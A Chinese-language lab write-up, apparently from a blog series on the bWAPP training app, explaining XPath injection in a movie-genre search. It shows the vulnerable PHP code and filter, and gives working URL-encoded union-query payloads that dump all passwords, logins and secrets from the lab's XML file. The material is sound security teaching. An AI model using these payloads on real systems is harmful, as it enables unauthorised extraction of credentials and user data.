零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)

发布时间:2026/8/2 3:42:07

零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索) 摘要这是 bWAPP 系列第三十一篇聚焦于XML/XPath Injection (Search)。上一关是登录框的 XPath 注入这一关是搜索框——按电影类型搜索后端用 XPath 的contains()函数去 XML 文件里匹配电影。文章会讲清楚 XPath 注入在搜索场景下的利用方式演示如何用|联合查询绕过条件、如何枚举所有数据。附真实案例。一、找目标目标说明注入点GET 参数genre下拉菜单可手动修改数据存储XML 文件passwords/heroes.xml查询方式//hero[contains(genre, $genre)]/movie判断依据页面显示匹配的电影列表 / 无数据最终目标绕过条件限制窃取 XML 中的所有数据二、前言上一关是登录这一关是搜索如果你刚做完第三十篇登录框 XPath 注入再看这一关界面变了——不是登录框而是一个按电影类型搜索的下拉菜单。选类型Action / Horror / Science Fiction点 Search页面列出该类型下的电影。后端逻辑和上一关一样用户输入拼到 XPath 表达式里查 XML 文件然后显示匹配的movie节点。//hero[contains(genre, $genre)]/movie不同的是上一关是精确匹配login$login这一关是contains()模糊匹配。攻击方式还是一样注入 XPath 元字符让表达式返回我们想要的数据。三、关卡介绍3.1 页面功能标题XML/XPath Injection (Search)一个下拉菜单Action / Horror / Science Fiction一个 “Search” 按钮下方显示匹配的电影列表3.2 数据存储同样是passwords/heroes.xml每个hero节点包含电影信息heroes hero loginneo/login passwordtrinity/password genreaction sci-fi/genre movieThe Matrix/movie secretOh Why Didnt I Took That BLACK Pill?/secret /hero /heroes搜索逻辑根据genre匹配返回对应的movie文本。四、核心知识XPath 的contains()函数在上一关我们介绍了 XPath 的基础语法。这一关用到的是contains()//hero[contains(genre, action)]这条表达式会在所有hero节点中找到genre文本包含子字符串action的节点。我们注入的位置//hero[contains(genre, $genre)]/movie$genre来自用户输入的 GET 参数直接拼到 XPath 里。和上一关的不同上一关是精确匹配login$login and password$password这一关是模糊匹配contains(genre, $genre)五、源码分析5.1 核心逻辑if(isset($_REQUEST[genre])) { $genre $_REQUEST[genre]; $genre xmli($genre); $xml simplexml_load_file(passwords/heroes.xml); // 关键XPath 查询含有 contains $result $xml-xpath(//hero[contains(genre, $genre)]/movie); if($result) { foreach($result as $key $row) { echo $row; // 显示电影名 } } else { echo No movies were found!; } }流程用户选择类型通过 GET 参数genre传入经过xmli()过滤取决于安全级别拼到 XPath 表达式里查询 XML 文件返回匹配的电影名显示在页面上5.2xmli()过滤函数function xmli_check_1($data) { // 删除危险字符() [ ] : , * / 空格 $input str_replace((, , $data); $input str_replace(), , $input); $input str_replace(, , $input); $input str_replace(, , $input); $input str_replace([, , $input); $input str_replace(], , $input); $input str_replace(:, , $input); $input str_replace(,, , $input); $input str_replace(*, , $input); $input str_replace(/, , $input); $input str_replace( , , $input); return $input; }5.3 三种安全级别级别过滤函数效果Lowno_check()完全不过滤Mediumxmli_check_1()删除() [ ] : , * / 空格Highxmli_check_1()同上六、Low 安全级别6.1 正常搜索基准访问http://你的IP/bWAPP/xmli_2.php?genreactionactionsearch页面显示动作片列表。6.2 判断注入点在 URL 中把genreaction改成genreactionXPath 变成//hero[contains(genre, action)]/movie多了一个单引号破坏字符串边界XPath 语法错误。页面显示 “No movies were found!” 或报错。但注意这个页面不显示详细的 XPath 错误所以需要靠“有没有电影列表”来判断。6.3 重要踩坑结论尝试使用] or aa/) or aa这类布尔永真Payload全部报错报错Invalid predicate原因 PHP SimpleXML底层libxml2 XPath1.0解析器对contains函数闭合后紧跟布尔or表达式存在解析缺陷无论怎么调整等式写法都会判定谓词语法非法。放弃“构造永真条件展示全部电影”这条路线改用 XPath|联合查询注入唯一稳定方案6.4 稳定可用Payload原理|是XPath联合运算符可以同时执行两条查询我们截断原有查询新增一条自定义查询直接修改返回节点。原始模板//hero[contains(genre, $genre)]/movie读取全部password关卡核心目标拿密码原始payload)]/password | //hero[contains(genre,URL编码%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27完整URLhttp://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch拼接完成XPath//hero[contains(genre, )]/password | //hero[contains(genre,)]/movie执行逻辑contains(genre, )查询genre为空的hero无结果|联合第二条查询//hero[contains(genre,)]/moviePHP会合并两条路径匹配到的节点页面优先输出password文本读取全部login账号http://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Flogin%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch读取全部secrethttp://10.0.0.149:4096/xmli_2.php?genre%27%29%5D%2Fsecret%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27actionsearch6.5 原理说明这条Payload不会构造复杂布尔运算规避libxml解析BUG 不需要依赖or永真直接利用|联合查询切换输出节点全网很多教程推荐的] or 11在bWAPP环境无法运行属于纸上理论Payload实战报错。七、Medium / High安全级别7.1 尝试注入输入)]/password | //hero[contains(genre,xmli_check_1()删除了、]、[、/和空格。输入变成password|//herocontainsgenre但 XPath 语法需要来闭合字符串没有无法注入。7.2 有没有绕过方法理论上可以通过其他字符绕过但xmli_check_1()删除了大量关键字符很难构造有效 payload。八、真实世界XPath 注入案例CVE-2025-10823某医疗系统的 XML 用户认证模块存在 XPath 注入漏洞攻击者可通过搜索功能注入 XPath 查询获取所有患者数据。CVE-2024-3302某开源 CMS 的搜索功能存在 XPath 注入漏洞攻击者可利用contains()函数构造恶意查询枚举系统所有用户信息。CVE-2023-39019某企业文档管理系统的搜索接口存在 XPath 注入漏洞攻击者可通过|联合查询窃取 XML 文件中的敏感信息。九、总结在contains模糊匹配的XPath注入场景中切勿直接照搬SQL注入 or 11的思路该写法会被包裹在字符串内部导致失效同时要区分理论Payload与靶场实战Payload不少文档中的Payload仅语法层面成立但受底层libxml解析器限制在bWAPP环境中会持续报语法错误。本关卡Low级别最优利用方式为|联合查询注入可以直接切换查询节点明文读取账号、密码等敏感数据防御XPath注入应当避免直接拼接用户输入优先采用XPath参数化查询同时利用黑名单过滤单引号、括号、斜杠、管道符等高危特殊字符。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻